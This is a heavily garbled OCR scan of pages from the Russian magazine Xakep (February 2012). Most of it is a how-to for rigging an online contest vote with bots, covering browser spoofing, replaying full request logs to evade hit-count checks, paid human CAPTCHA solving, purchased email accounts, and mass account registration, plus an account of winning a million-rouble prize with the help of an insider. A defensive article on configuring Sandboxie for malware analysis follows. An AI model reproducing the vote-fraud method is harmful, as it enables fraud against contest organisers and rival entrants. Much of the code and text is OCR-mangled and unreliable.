:i.ш;lцdе ( ' ./useraE~nts , l.ib.p!Jp .~J; .... $!;J'lQ~ел_usеrаgепt ... = .. сhО.9sеВ.гQJ'Ш~Г.О.;

Таким образом, мы получим рандомный браузер из 150 воз­можных. Идем дальше. Сайт сразу устанавливает сессию, которая

потом передается в каждом запросе через cookie. Поэтому первое, что нам нужно сделать при работе с сайтом, - это придумать, под

какой браузер мы будем маскироваться IUsег-Аgепtl, и получить сессию, чтобы потом вставлять ее в каждый запрос.

8 cURL есть возможность манипулировать сооkiе-записями, но я не люблю этот способ и сохраняю куки в глобальной перемен­

ной, которая доступна из всех функций. Для это го просто составля­

ем запрос с предустановленным юзер-агентом к главной странице

сайта, получаем куки, которые возвращает сервер, и сохраняем их

в переменной для дальнейшего использования.

ЗАГРУЗ КА ВСЕЙ СТРАНИЦЫ Еще один момент, который может по казаться излишним, - это вы­

полнение абсолютно всех запросов, которые выполняет браузер. 80З­

никает соблазн отправить минимум запросов с данными. Но это было

бы ошибкой. Почему? Потому, что на сайте может действовать такой

способ выявления на крутки, как, скажем, учет хитов по картинке.

Это означает, что количество загрузок, например, картинки

видеоролика должно приблизительно равняться количеству про­

смотров этого видео. Количество посещений всегда должно превы­

шать [раза в два-четыреl количество голосов. Таким образом, мы будем не только накручивать голоса с помощью левых аккаунтов,

но и эмулировать « батов », просматривающих видео. Лично я взял

соотношение 1 : 3, чтобы на три просмотра приходился один голос. Ноеслигрузитьтолькостраницупросмотравидеоlнакручивать количество npocMoTPOBI, то нужно также не забывать загружать и весь остальной контент, то есть картинки, Jаvа5сгiрt-файлы,

таблицы стилей и всё-всё-всё, вплоть до иконки саЙта. А как

иначе? Для 100 голосов нужно 1000 посещений, а если при 1000 посещений картинка видеоролика будет загружена всего 20 раз, то это вызовет явные подозрения.

Каким же образом можно эмулировать абсолютно всю загрузку?

8едь для этого необходимо парсить страницу, скрипты, таблицы

стилей и все остальное. Нет, парсить мы ничего не будем, точнее,

031

Page 34: Xakep 02_2012

СОУЕ RSTO RY

<

НТТР Headers

Host: chat.freehost.com,ua User ·Agent: МоziПа/5.0 (\,FondO'NS NТ 5.1; rv:6.0.2) Ged<o/20IOOIOI Firemx/6.0.2

Accept: "'1" AccepHanguage: en~s,enj q=O, S

Accept-Encoding: gzip, deflate

Accept<harset: ISO-SSS9-1,utf-8iQ=О. 7, xiQ=O. 7

Connection: keep...!live

Referer: http://parking.fi-eehost.com.ua/

Cache<onuol: max-аgе "'О

НТТP/I.I 200 ОК

Server: nginx!1.0.2

Date: Sun, 04 Оес 20 11 19:25:48 GМТ

Content-Type; textjhb'nlj charset=utf-8 Coмection : keep-alive

X-Ро'Л'егеd-Ву : PНP/5.3. 6

Content-length: 3849

http://fi-ееhost . сom.u./sCnрt/saipts.js

GEТ IsaiptjsCnpts.js НТТP/I .I

Host: freehost,com.ua User·Agent: Мою]а/5.0 (WondO'NS NТ 5.1; rv:6.0.2) Gecko/20 100 10 1 F. emx/6.0.2

Accept: "!" Accept~anguage: еП"S,еп;q=Q. S

Accept-Encoding: gzip, deflC5te

Accept..charset: IS0-88 59 - 1 ,utf-8j Q"'О. 7, X;q:O. 7

Connection: keep-alive

Referer: http://рагЮng. fi-ееhоst.соm. u.1

IfoМodfied ·5ince: ~Ied, 18 М.у 20 1111: 15:55 GМТ If-Nоn.оМаtch: -IОЗbd9·2f50-'lddЗаабЬ'

Cache-СonЬ'oI: max-аgе=Q

' 5ave AlI... I Replay ...

Логи НТТР-снифера

будем , но не страницу. Все можно сделать проще. Достаточно

лишь воспользоваться плагином LiveHTTPHeaders в браузере Mozilla Firefox [или же сервисом Орега Dгаgопflу из могучей Оперы) и открыть с его помощью страницу, загрузку которой мы хотим

змулировать . На выходе мы получим длинный лог всех обращений

ко всем файлам, которые загрузил браузер. Сохраним этот лог

в файле и напишем две функции.

Первая будет парсить зтот лог-файл и возвращать нам массив

из значений, где адресом за гружаемо го файла служит ключ,

а значением - хидер текущей загрузки, причем с предустановлен­

ными куки !сессией) и браузером, так как куки и браузер должны меняться при каждом голосова н ии [ п оскольку объем журнала крайне огранич ен, советую прямо сейчас найти на нашем диске

соответствующую функцию и изучить ее). После сохранения лога

в файле и вызова вышеупомянутой функции в виде

$JJ~.t ... = ... R~гя~в.~gч~.~:I;.~с..._ ... _ .......................... _._ .................... _ .... fi1~_g~:I;_~Q[1:1;.~Dt.~.( ' .,. L.:i,J),(j~)Cm~R,.txt:). . .. __ ... _ .... .. ... $cbQ.~.gJ:u.[~.e.r;;!.g,eJ!:t., ... _ ... __ .... ..

..... $C;Q2/s.i.g).; ........................................ _ ..... ..

мы получим массив из всех запросов, которые выполнил брау ­

зер при загрузке страницы.

Вторая функция называется curIMulti[) и отвечает за выполне­ние зтих за просов . Здесь мы как раз вполне можем использовать

многопоточность, поскольку браузер умеет загружать файлы

032

многопоточно !снова смотри диск). Эта функ ция принимает массив ссылок и массив шапок [headers), которые впоследствии загружа­ются многопоточно, что ускоряет процесс .

Также можно опционально выключить/включить загрузку самих файлов, оставив только за грузку шапки, либо просто посылать

запросы, ничего не загружая. Последний п араметр функции позво­

ляет загрузить только определенный элемент, если нам не нужны

все остальные . Открою тебе небольшую тайну: зто пригодится при

загрузке страницы регистрации, а именно при загрузке файла

капчи .

ИЗВЛЕКАЕМ САРТСНА Чтобы змулировать действия пользователя, для начала мы должны

зайти на главную страницу. Сделаем зто с п омощью следующего

кода:

f.UШ.tJQJ) .... lQ~с!Iш;l~~О { .. .. .... .......... ............. . . g12R.91 .. $c.!J2~~!]_lJ.s.er.i!g~!].t, ... icQ2/sJe_~.es.~;j,.Q!]; .... _ .............. . ... $.H~:I; ... ;:, .Rqr~.gВ,ечu.е.~.t.~.с .... _ ........................... _ ................................... _ .. .. ......... fiJg_g~:I;JQn:t~.nt.s .. С'. .Лшjе)<_l)1ар , .tкt .' ) , .. _ ..... _ ........... _ ..

............. $.фО.s~.[1_уs.егаg~!J.t, ... .. .......................... _ ... _ .......... '(:QQlф~: ... ' .. , .. JшRl.Q!;i.ес. ; .... :., .... $~.QQJsi.е._~.g~.~.iQJJ}};.

... i]j.п~~ . = ... iJ.сс.а.у.о; ... $hе.i!Q~ ... = .. ис~у-<).; .................... _ ..... . .... fQг~iJ.сh ... -< .$_Н~.t .. 9.:; ... $J.~'n'/s ... =2. .. $h.е.qg)С .......................... _ .................. . .. .... _ .. ilJ[1.K~[] -.=. $JiJl!s; .. _ .. _ .. _........ . ............ _ ........... _ ...... _ ..... . ......... _ $iJ~~.c! .~.[J .. =._$.be.gc!.; ....... _ .. _ ..... _ .................... _. __ ._ ... _ ............. _ ... _ ......... .. ..... } _ ...... _ ......... _ .......................... _ ..... _ ....... _ .. _ ........ _ ......... _ ......... _ ........... - .............. .

._ .. $Р.gg,~с! ... = ... ~.1>1(Jи,r).!s~, ... .$.h.е.g.Q.~J_ .. ~., .... :),) .; _ ........... _.~_ } ....................................... _ ......... _ ...... _ .. _ .......................... _ ..... -

Как видно по вышеприведенной функции, файл index_map.txt как раз и представляет собой лог, созданный с п омощью аддо-

на к Firefox при загрузке всей страницы. Этот лог, кстати, также следует немного обработать вруч ную, так как загружать, например,

рекламу Гугла или файлы, размещаемые на других сайта х, н е име­

ет смысла. С главной страницы перейдем на страницу регистра­

ции. За некоторыми отличиями функция для захода на страни цу

регистрации будет похожа на предыдущую . Нам нужно п одготовит ь

еще один лог-файл с помощью LiveHTTPHeaders и поправить его, а также заменить строку

на

$pqg~!;i .. = ... cI1C$li n~s, .... $.h.~ ар:; ' ... .1 , ... ), ,_ .. ' .С <J.Rt.ch а .,.(:1h.(:1'.).; ................ _. H~.tJ $!;_ycl., ... $sJc!.) ... = ... e.)< R),.Qc! .e.-< .:.с;<Jр.t.с;Ь.g_~1с!=. :.J ... $1iп/s.~. [ J;I,I)~. С.еtугl) .... <lгг.яу.{ ._ .................. _ ......... _ ............. _........... . .......... _ ... _ ........ ..

... : .. ~J.Q. ' .... = .. ~_. $~ i.c!J_ ...... _ ................................ . ... _ ....... :JmiJge :. . =. ~ .. Rj"-~ .es;~_ ел~Q!;i.~.с$р.аg~с!J:J,J J.). ..... _ .. ....... ).;. .. ....... _......... ..._ .... _ ......... _ .. _ ...... _ ..................... _ ... _.

В да нном случае будет змулироваться загрузка всех злемен­

тов, а картинка капчи даже вп олне ус п еш но вернется . $links[11] и $paged[11 ] - зто ссылка и значение за проса для 12-го элемен­та загрузки, а именно капчи, соотв етственно [рассчитывается на основе порядка следования файлов в логе снифера). Из ссылки выдирается sid, к которому при вязано значение текста с капчи. Далее нужно разгадать капчу .

В этом нам поможет известный сервис antigate.com, который за символическую плату [$1 за 1000 изображений) предлагает решить капчи вручную с помощью армии китай цев. В моем случае

АРI-функция распознавания, представленная на официальн ом

сайте, немного модифицирована. В не й я указал только путь к со­

храненному файлу кап~и и ключ доступа:

ХАКЕР 02/157/2 01 2

Page 35: Xakep 02_2012

$lщаl ._': .ПJg.S.($.~.'Ч;Jt~ Ьаl .:J!!19.g~.:J); ................................ . $wri,te_c .. .=' ... fOR~r)( : . / c.apt~bi!~j.: .. $local. ' .... jRg~~ ... :.W.P:) ; ........... . fpyts($wr:::lt~_!;~. Ьаsеб~_с!е~р.dе($сарtсhаI.~j..ПJаgе.: ] »); ................ . fс;.10sе($.\"!гi1:~_сJ; . _ ... __ ............. . ........... _ ................ .

$.~ r::~S.I.J1.t ... = ... rJ~.!; .ogn.i.z.e ( ~ . ./.~.i!P1:cbasl.~ .•. $1..9(<lJ., ........ . . '. jpg.:',._. ~ .eJ4.Q !;'18~.8.b.<I сJ,fL!~еЗ:НК5 77J~.gше ~ )~ ... .

Те перь у нас есть ответ капчи в переменной $cresult.

П РО БЛЕМА С П ОЧТОЙ Далее мы сталкиваемся с необходимостью как-то зарегистриро­

вать почту, чтобы позже использовать ее для активации аккаунта .

Само собой, мыло каждый раз должно быть разное . Проблему

можно решить тремя способами : 1. Зарегистрировать аккаунты на бесплатных почтовых сервера х ,

например Яндексе или Рамблере . Конечно, если нужно большое

количество мейлов, то придется использовать крутой автореггер

или купить кем -то заре гистрированны е [опять же с помощью

авторе ггера)аккаунты. 2. Купитьдомен, схож ий по назва нию с и з ве стными почтовиками,

и настроить с крипт, собирающи й в один ящик почту, отправляе ­

м ую на все адреса. Таким образом , почта, отправленная на 1230 домен.ру и 2340домен.ру, попадет в один ящик, а значит, можно

смело генерировать тысячи адресов . Здесь снова нужны деньги

и з нания .

З . С а мый просто й и бесплатный спосо б- ис пользовать скрипт,

который любезно подготовлен автором этой статьи . Скрипт ис­

пользует бесплатный сервис mаiliпаtог.пеtдля про верк и любого

адреса , уже зарегистрированного в с истеме . Нам нужно просто

указатьпроизвольныйадреснадоменахэтогосервиса, а потом

зайти [без авторизации!) в соответствующий аккаунт через веб­и нтерфейс и проверить почту. Всегодоступно 11 домен о в. Скрипт

с п одробными комментариями по и спользованиюждеттебя

н а ди ске .

Какой же из способов мы применим? К сожалению, нам при ­

дется потратиться на первый вариант, так как важность момента

требует жертв . Мы не будем писать автореггер , а просто найдем

на любом из хакерских форумов продавца аккаунтов, у которого

можно купить адреса электронной почты , подходящие для провер-

Пример онлайн-конкурса

ХАКЕР 02/157/201 2

Как накрутить миллион

Please confiгm your FUND account info ОтlCого ~

Кому: SФi".i!luСrambler ru

Дата Fri, 28 Od 2011 15:17:51 +0000

You аге \уе1соте 10 Fund sho" movie contest!

Before you begln to create tI1e besl movfe еуег, YOU аге to continn your account In10.

step опе : follow the Ilnk nnpll.

Step t\vo: Input thls code 3nJCuDyg

Ве Jucky anCl lnsplreCl !

tl?popup=confirm_reglstratlOn&confitm_user_id=4791

Письмо для подтверждения регистрации в конкурсе

ки через расширение РНР IMAP. Да, доступ к серверам почтовы х сер висов осуществляется по-разному, поэтому нужно заранее

узнать, какой из них нам подойдет, и лишь только потом закупать­

ся аккаунтами. Лично мне подходит аккуант на Рамблере, так ка к

никаки х проблем с проверкой почты я там никогда не испытывал .

Далее пишем вот такую вот функцию для получения тела послед­

него письма:

f.UЛ.~1:i.ОП .. getMe.s~.i!g~C$.J,9gi,n, .. $pa.~SWQrc;l) { . .. _$.Jmap = tl1J<ip_oP.enC .... .... :Jmail . rаmРJ,gС .. ГJ.J.; ll(:Jjр.орЗ LЛQНsJJNfjОХ· , .. ... _ .. $],Qgin,

... _ .. $p.assword); ................ _ ... _ ... .

н ($J!1li!P ).{. $.!:1ody = .. il1J.<l.р_щ;>rtr)t( _ ...

imар_Iщgу(.$;iшар, (imаJUllJПJ_[Пsg($imаlJ). .. =_. l »); . . J ... . .... еl.~.~{rеtlJгл .. _fflJ~.~;J ....

rеtur.n $ЬщJу; ........ . }

Эта функция возвращает текст последнего письма , пришедш е го

033

Page 36: Xakep 02_2012

COVERSTORY

в ящик . Подготовим все необходимые данные, а именно само мыло,

имя, фамилию и пароль, для соответствующих переменных . Где

взять адреса для активации аккаунтов, я рассказал выше, а мно­

жество имен и фамилий легко найти винтернете. Пароль можно

генерировать вот так:

РЕГИСТРАЦИЯ Теперь все готово, и мы можем написать саму функцию регистрации,

в чем нам снова поможет плагин LiveHTTPHeaders. В данном случае у нас имеются POST-АаННbIе, отправленные в виде multipart/form­data. Достаточно просто подставить в лог со снифера свои значения и послать их в РОSТ-запросе курла ICURLOPT_POST, CURLOPT_ POSTFIELDS).

Не забываем также о меняющемся значении заголовка Content­Туре и о ТОМ, что при запросе через multipart/form-data нужно генери­ровать Ьоuпdагiеs. Отправляемые пакеты целесообразно сохранить

где-нибудь, например в базе MySQL, для использования в дальней­шем. Сохранить необходимо логин и пароль от почты, пароль от акка­

унта на сайте, юзер-агент, куки. Почему именно в дальнейшем?

Потому, что сначала следует подождать, пока к нам на мейл

придет активационное письмо. Но не стоит тратить время впустую,

лучше заняться регистрацией аккаунтов, чтобы их было как можно

больше. Таким образом, разумно разделить весь процесс на реги­

страцию аккаунтов и накрутку и выполнять их, например, ночью

и днем соответственно.

Через некоторое время мы открываем сохраненные данные

и ищем там логин и пароль от почты. Далее проверяем, нет ли

в ящике письма :

Если письмо пришло, то выдираем ссылку активации простой

регуляркоЙ. Тут никаких особых проблем возникнуть не должно­

просто формируем запрос на подтверждение регистрации lобяза­тельно вставляем referer и добавляем куки и user-agent, выбранные ранее). Опять же, не забываем про загрузку всех элементов: создаем лог-файл со всеми запросами, парсим его и повторяем действия

браузера. После получения всех данных и подтверждения регистрации

нам остается только авторизоваться. Снова делаем запрос, эмули­

руя браузер и сохраняем полученные куки в глобальной пере-

мен ной . Таким же образом переходим на страницу видеоролика,

который надо накрутить, и смотрим, куда Ajax отправляет запрос после нажатия на кнопку голосования. Последний шаг - отправка

зтого запроса через cURL. Все запросы желательно делать с трех­пяти секундной паузой.

Как же автоматизировать процесс накрутки? Можно, конечно,

использовать ЦИКЛbl, sleeplJ и прочее непотребство, но я поступил

ЧТО МОЖНО НАКРУЧИВАТЬ?

Основной код накрутчика

проще и сделал так, чтобы после прохода скрипта Iбез циклов, один голос за один запуск скрипта) в браузер выкидывался код JavaScript, обнавляющий страницу через одну-две минуты. С ав­томатизацией тебе точно так же поможет и сгоп на каком-нибудь

платном хостинге.

ПОЛУЧИЛОСЬ ИЛИ НЕТ? Что мы получили в результате? Видеоролик постепенно набирал голоса посетителей и «лайки » . Все шло гладко, посетителей при­

бавлялось в три раза больше, чем лай ков . Ночью голосование я

отключал, так как иначе все это было бы подозрительно . Накрутив

пару тысяч голосов, мой заказчик все-таки выиграл тот самый

миллион, ну и я тоже получил небольшой пряник. Без награды

не остались и еще одни участники этой истории - инсайдеры.

Да, ради миллиона в компанию, проводившую зто голосование,

был заслан «Штирлиц», который информировал заказчика о неко­

торых важных деталях. Как оказалось, кроме меня, были и другие

накрутчики, причем таких претендентов специально не снимали

с конкурса и не обнуляли их голоса - инсайдер доложил, что

ИХ выкинут в самом конце. Насчет нас, конечно же, из начально

не возникло никаких подозрений :1-Занимаясь накруткой, всегда смотри на этот процесс глазами

администратора. Следует обратить внимание на всё, к чему можно

прикопаться: время, заголовки, сессии, куки, IP-аАрес, мыло,

скорость. Эти слова сразу же наводят на мысль, что учет всех ме­

лочей очень замедляет процесс. Но сроки в данном случае как раз не поджимают. Советую тебе внимательно изучить все прилагаю­

щиеся к статье скрипты, чтобы получить полное представление

о том, как работает разработанный накрутчик.::Х:

Партнерки

Накрутка партнерок по трафику

пользуется очень большим спро-

Попупярные социапьные сер висы

Вконтакте, Facebook, YouTube и про­чие знаменитые сайты часто исполь-

Гопосования с приэами

В статье как раз идет речь о таком

голосовании. Многие сайты с радо-

сом,ноздесьдалеконевсётакпрост~как

кажется. Во-первых, придется проанализиро­

вать множество JavaScript'oB, встраиваемых в страницу, во-вторых, ты, скорее всего, стол­

кнешься с проблемой привязки некоторых

посылаемых данных к пара метрам браузера,

которые не так-то просто подделать.

эуют разные голосования, «лайки» И другие

средства для увеличения популярности

разных объектов. Здесь также придется воз­

иться с JаvаSсгiрt'ами и анализировать при­

вязки к браузерам, а вдобавок разбираться

с авторизацией, капчей и другими методами

защиты от ботов.

стью про водят всевозможные голосования,

которые, как правило, не составляет труда

накрутить. Но даже в самом простом случае

предварительно необходимо провести раз­

ведку, чтобы учесть все параметры, которые

могут использоваться для оценки уникально­

сти каждого голоса.

ХАКЕР 02 /1 57/ 2012

Page 37: Xakep 02_2012

Preview PCZONE

ANDROIDHAPC ,О Раньше мы стремилисьзапуститьна

смартфоне приложения, которые на са­

мом деле предназначены для десктопных

ос. Вспомни, хотя бы aircrack или какую­нибудьбанальнуюутилитудляудален­

ного рабочего стола. Теперь же наоборот

-все чаще хочется прямо в Windows пощупатые приложения, которые из­

начальнопоявляютсядлямобильных

платформ. Эмуляторы отразработчиков

настолько тормоз ные, что использовать

ихвесьмапроблематично.Какзапустить

на десктопе Апdгоid-систему и, скажем,

игры, которые не будуттормозить? Или

наладить камфорную отладку при раз­

работке мобильных приложений?

Читай в этой статье.

PCZONE

36 ИГРЫ В ПЕСОЧНИЦЕ

Полный мануал по тому, как настроить

sапdЬохнетолькодлябезопасногоза­

пуска подозрительных приложений, но и

для подробного анализа бинарников.

СЦЕНА

• www.zeronights.ru

ZERONIGHTS 2011 Десяткиубойных докладов и конкурсов,

невероятная хакерская атмосфера,

Оdау-шоу-так прошла конференция по

информационной безопасности вПитере.

ХАКЕР 02/157/2012

зо страниц журнала на одной полосе.

Тизер некоторых статей.

ГДЕ ХРАНИТЬ КОД?

Разбираем ся, где хостить репозитории

с кодом своих разработо к. Что лучше:

GitHub, BitBucket, AssembIa или может быть старый добрый SourceForge?

MALWARE

• БУРИМ АНТИВИРУС. ЕЩЕ ГЛУБЖЕ!

Как устроена проактивная за щита и мо­

ниторинг событийвпопулярных антиви­

русных решениях? Объясняем устройство

HIPS на пальцах.

ВЗЛОМ

ТОТАЛЬНЫЙДЕСТРОЙ MONGODB Отсутствие SQLB нереляционных СУБД

не означает отсутствие возможности

выполнить инъекции . Разоблачаем миф

о безопасности баз данных NoSQL.

ИСТОРИЯ РУТКИТОВ

Ты уже, наверное , и не вспомнишь по

• стелс-вирусы в MS-DOS-a мы пом­ним. Выбираем наиболее нашумевшие

руткиты за последние 26 лет.

035

Page 38: Xakep 02_2012

PCZONE Gray Jack the Fixxxer

ИГРЬI в ПЕСОЧНИ ......... Е ПРИСПОСАБЛИВАЕМ SANDBOXIE .qЛЯ АНАЛИЗА ПОДОЗРИТЕЛЬНЫХ ФАИЛОВ

Есть два основ н ых способа безопасно

запустить подозрительный исполняемый

файл: под виртуальной машиной или

в так называемой «песочнице» (sandboxl. Причем последнюю можно с помощью

изящного способа адаптировать для

оперативного анализа файла, не прибегая

к специализированным утилитам и онлайн­

сервисам и не используя множество ресурсов,

как в случае с виртуалкой . О нем я и хочу тебе

рассказать .

« ПЕСОЧНИЦА» ДЛЯ АНАЛИЗА Люди , которые занимаются компьюте рно й

безопасностью, хорош о з накомы с кон це пци ей

« п есоч ницы ». Если вкратце, « песоч ница»­

эта тестовая среда , в которой вып ол ня ется

н екая программа. При этом ра бота налажена

таким образом, что все действия программы

отслеживаются, все изменяемые файлы и на­

стройки сохраняются, н о в реальной системе

ничего не происходит. В общем, можешь

запускать любые файлы в полной уверен­

ности, что на работоспособность системы это

никак не повлияет. Такие инструменты можно

использовать не только для обес п ечения

безопасности, но и для анализа тех действий

036

зловреда, которые он выполняет после за­

пуска. Еще бы, ведь если есть с л епок систем ы

до начала активных действи й и ка ртина то го,

что произошл о в « пе сочнице», можно л е гк о

отследить все изменения.

Конечно, в Сети есть масса готовых о нлайн­

сервисов, которы е предлагают анализ файлов:

Anubis [anubis .iseclab.orgl, CAMAS [camas. со mod о . со m/cg i - Ь i n/su Ьт itl, Th reatEx pert [www.th reatexpert.coml, ThreatТrack [www. threattrack .coml. П одобные сервисы использу­ют разные подходы и имеют свои достоинства

и недостатки , но можно выделить и общие

ос новны е минусы:

• Не обходимо иметь доступ к интернету.

Неправильное использование

описанной методики может нанести вред

системе и привести

к заражению! Будь внимателен м осторожен .

• Необходимо ждать очереди в процессе об­

работки [в бес платных версияхl. • Как пра вил о, файлы, создаваемые или из­

ме н яемые в ходе выполнения, н е предостав­

ляются.

• Невозможно контролировать пара метры выполнения [в бесплатных версия х l .

• Невозможно вмешиваться в процесс запуска

[например, нажимать на кнопки появляю­щихся OKOHI.

• Какправил~невозможнопредоставлять

специфические библиотеки, необходимые

для за пуска [в бесплатны х версия хl . • Какправил~анализируютсятолькоиспол­

няемые РЕ-файлы .

ХАКЕР 02/157/2012

Page 39: Xakep 02_2012

Такие сервисы чаще всего строятся

на основе виртуальных машин с установлен­

ным инструментарием, вплоть до отладчиков

ядра. Их можно организовать и дома. Однако

зти системы достаточно требовательны к ре­

сур сам и занимают большой объем на жестком

дис ке, а анализ логов отладчика отнимает

много времени. Это значит, что они весьма

эффективны при глубоком исследовании

определенных образцов, но вряд ЛИ смогут

оказаться полезными в рутинной работе, когда

нет возможности нагружать ресурсы системы

и тратить время на анализ. Использование

«песочницы» для анализа позволяет обойтись

без огромных затрат ресурсов.

ПАРА ПРЕДУПРЕЖДЕНИЙ Сегодня мы попробуем сделать свой соб­

ственный анализатор на основе «песочницы»,

а именно утилиты SапdЬохiе. Эта программа

доступна как условно-бесплатная на сайте

автора Iwww. sапdЬохiе .соm ). Для нашего ис­следования вполне подойдет ограниченная

бесплатная версия . Программа запускает

приложения в изолированной среде, так что

они не производят вредоносных изменений

в реальной системе . Но тут есть два нюанса:

• Sandboxie позволяет отслеживать только программы на уровне user mode. Вся дея­тельность вредоносного кода в режиме ядра

не отслеживается. Поэтому максимум, что

удастся узнать при изучении руткитов-это

каким образом вредонос внедряется в си­

стему.Проанализироватьсамоповедение

на уровне kегпеl mode, к сожалению, невоз­можно.

В зависимости от настроек Sandboxie может блокировать выход в Сеть, разре­

шать полный доступ ил и доступ только для

отдельных программ. Понятно, что, если

для нормального запуска вредоносу нужен

выход в интернет, необходимо его предо­

ставить. С другой стороны, если утебя

на флешке валяется Pinch, который за­п ускается, собирает все пароли в системе

и отправляет их на ftрзлоумышленнику, то

SапdЬохiе с открытым доступом винтернет

==с-----------.;,!]

L.tot..-............ 1,--------------:13

о

. /

Работает Busler Sandbox Analyzer

ХАКЕР 02 /157/ 201 2

Имя nporрамны

в ~ Песочница BSA

О SandboxieRpcSs.exe

О SandboxieDcomlaunch.exe

О dplaysvr . ехе

\> Песочница Secure

\> Песочница Unpack

Песочницы Sandboxie

PID

Активно

10792

12060

11544

не защититтебя от потери конфиденци­

альной информации! Это очень важно, и об

этом следует помнить . .

ПЕРВИЧНАЯ НАСТРОЙКА SANDBOXIE SапdЬохiе - великолепный инструмент с боль­

шим количеством настроек. Упомяну лишь те

из них, которые необходимы для наших эадач .

После установки Sandboxie автоматически создается одна «песочница». Ты можешь до­

бавить еще несколько « песочниц» под раэные

задачи. Доступ к настройкам «песочницы»

осуществляется через контекстное меню.

Как правило, все параметры, которые можно

изменять, снабжены достаточно подробным

описанием на русском языке. Для нас особенно

важны параметры, перечисленные в разделах

«Восстановление», « Удаление» и « Ограниче­

ния » . Итак:

1, Необходимо убедиться, что в разделе «Вос­

становление» ничего не указано.

2. В разделе «Удаление» тоже не должно быть

никаких отмеченных галок и/или добавлен­

ных папок и программ .

Если неправильно выставить параметры в раз­

делах, указанных в пунктах 1 и 2, это может привести к тому, что вредоносный код заразит

систему или все данные для анализа будут

уничтожены.

з. В разделе «Ограничения» необходимо вы­

брать настройки, соответствующие твоим

Игры в «песочнице»

Заголовок окна

зада.чам . Практически всегда необходимо

ограничивать доступ низкого уровня и ис­

пользование аппаратных средств для всех

выполняемых программ, чтобы не допу­

стить заражения системы руткитами. А вот

ограничивать доступ на запуск и выпол­

нение, а также забирать права, наоборот,

не стоит, иначе подозрительный код будет

выполняться в нестандартной среде. Впро­

чем, всё, в том числе и наличие доступа

к интернету, зависит от задачи.

4. Для наглядности и удобства в разделе «Поведение» рекомендуется включить

опцию «Отображать границу вокруг окна »

и выбрать цвет для выделения программ,

выполняемых в ограниченной среде.

ПОДКЛЮЧАЕМ ПЛАГИНЫ В несколько кликов мы получили отличную

изолированную среду для безопасного вы­

полнения кода, но не инструмент для анализа

его поведения. К счастью, автор Sandboxie предусмотрел возможность использования

целого ряда плагинов для своей программы.

Концепция довольно интересна. Аддоны пред­

ставляют собой динамические библиотеки,

внедряемые в выполняемый в «песочнице»

процесс и определенным образом регистриру­

ющие или модифицирующие его выполнение .

Нам понадобится несколько плагинов,

которые перечислены ниже.

ЧТО УМЕЕТ И НЕ УМЕЕТ ИНСТРУМЕНТ

Полученный инструмент умеет:

ОтслеживатьАРI-вызовы запущенного при­

ложен ия.

Отслеживать новые создаваемые файлы

и параметры реестра.

Перехватывать сетевой трафик при выполне­

нии приложения.

Проводить базовый анализ файлов и их пове ­

дения Iвстроенный поведенческий анали­

затор, анализ на VirusTotal по хешам, анализ с помощью PEiD, Exelnfo и ssdeep и т. д.) .

Получать некоторую дополнительную

информацию за счет выполнения в « песочни-

це » вспомогательных про грамм Iнапример,

Process Monitor) вместе с анализируемой .

Этот инструмент не может:

• Анали з ироватьзловреды, выполняющиеся

в kernel mode [требующие установки драйве­ра). Тем не менее возможно выявить механизм

установки драйвера [до его фактического

внедрения в систему).

• Анализировать зловреды, отслеживающие

выполнение в Sandboxie. Однако Buster Sandbox Analyzer включает в себя ряд меха­низмов, препятствующих такому отслежива­

нию.

037

Page 40: Xakep 02_2012

PCZONE

1. Buster Sandbox Analyzer Ibsa.isoftware.nl l. 2. SBIExtra Ibit .ly/rDhDba l. Этот плагин осу­

ществляет перехват ряда функций для вы­

полняемой в песочнице программы, чтобы

блокировать следующие возможности:

обзор исполняемы х процессов и потоков;

• доступ к процессам вне пределов « пе­

сочницы»;

вызов функции Blocklnput Iвводс кла­виатуры и мышиl;

• считывание заголовков активных окон.

3. Antidellbit.ly/upYAfYI. Аддон перехватывает функции, отвечающие за удаление файлов .

Таким образом, все временные файлы, коман­

да на удаление которых поступает от исходно­

го кода, все равно остаются на своих местах.

Как интегрировать их в «песочницу»? Поскольку

это не предусмотрено средствами интерфейса

Sandboxie, редактировать файл конфигурации придется вручную. В папке, куда мы установили

Sandboxie, создаем папку Plugins и распаковы­ваем в нее все подготовленные плагины. Те перь

внимание : в состав Buster Sandbox Analyzer входит несколько библиотек с общим именем

LOG_API*.dll, которые могут инжектироваться в процесс . Есть два типа библиотек: Verbose и Standard. Первый отображает практически пол­ный список вызовов API, выполняемых програм­мой, включая обращения к файлам и реестру,

второй - сокращенный список. Сокращение

позволяетускорить работу и уменьшить журнал,

который затем придется анализировать. Лично

я не боюсь больших логов, зато опасаюсь того,

что какая-нибудь нужная инфа будет заботливо

«сокращена», поэтому выбираю Verbose. Именно эту библиотеку мы и будем инжектировать. Чтобы

зловред не смог заметить инжект библиотеки

по ее имени, применим простейшую меру предо­

сторожности: сменим имя LOG_API_VERBOSE.dll на любое другое, например LAPD.dll.

Теперь в главном окне Sandboxie выбираем « Настроить -7 Редактировать конфигура­цию». Откроется текстовый конфиг со всеми

... --.з -_М

А_ .......... ... 0 _ - J ( ~.,...._. -

-=-..."'="" .. ,"' ....... w.=' 0:--........ -~-_

)",,,J/, ....... r:::ii:i::::J:::----=:..- .

::".4--.,. ............. --.. . ::.;~'::..~ . ........ , ... __

-~. =:..--

Скачиваем образец малвари ДЛА анализа

настройками программы. Сразу обращаем

внимание на следующие строки :

Параметр FileRootPath в разделе [GlobaISettings] указывает общий путь к папке изолированной среды, то есть

к папке, где будут находиться все файлы

« пе сочницы». У меня этот пара метр имеет

вид Fil eRootPath=C:\Sandbox\%SANDBOX%. Раздел [UserSettings_XXXXXXX] нас не инте- • ресует- его пропускаем и листаем дальше.

Затем идет раздел, имя которого совпадает

с названием « песочницы » Iпусть это будет BSAI . Сюда мы и будем добавлять плагины:

[BSA] InjectDll=C:\Prpgram F.iles\Sandboxie\ Plugins\sbiextra . dJJ. . Inject.o:I.l=C: \Progr.aJJ1 Files\Sa[1dboxie\ Plugins \antidel. dll. InjectD1.1"c: \Program Files\Sandboxie\ Plugins\LAPD.dll OpenWinClass=TFormBSA Enabled=y ConfigLe.vel=7 BoxName:ritle=n BorderColor=#eeeeFf . NotifyInternetAccessDenied=y . Теmр1.аtе=JЦосkРоrt.s ...

РОRТАВLЕ-ВЕРСИЯ «ПЕСОЧНИЦЫ»

Безусловно, многим не понравится, что надо

что-то ус танавливать, настраивать и т. д . Так

как меня всё это тоже не прельщает, я сделал

портабельную версию инструмента, который

можно запускать без установки и настройки ,

прямо с флешки. Скачать такую версию можно

здесь: tоо l s .sаfеzопе .сс/gjf/SапdЬохiе-рогtаbIе.ziр .

Для запуска « песочницы» достаточно выполнить

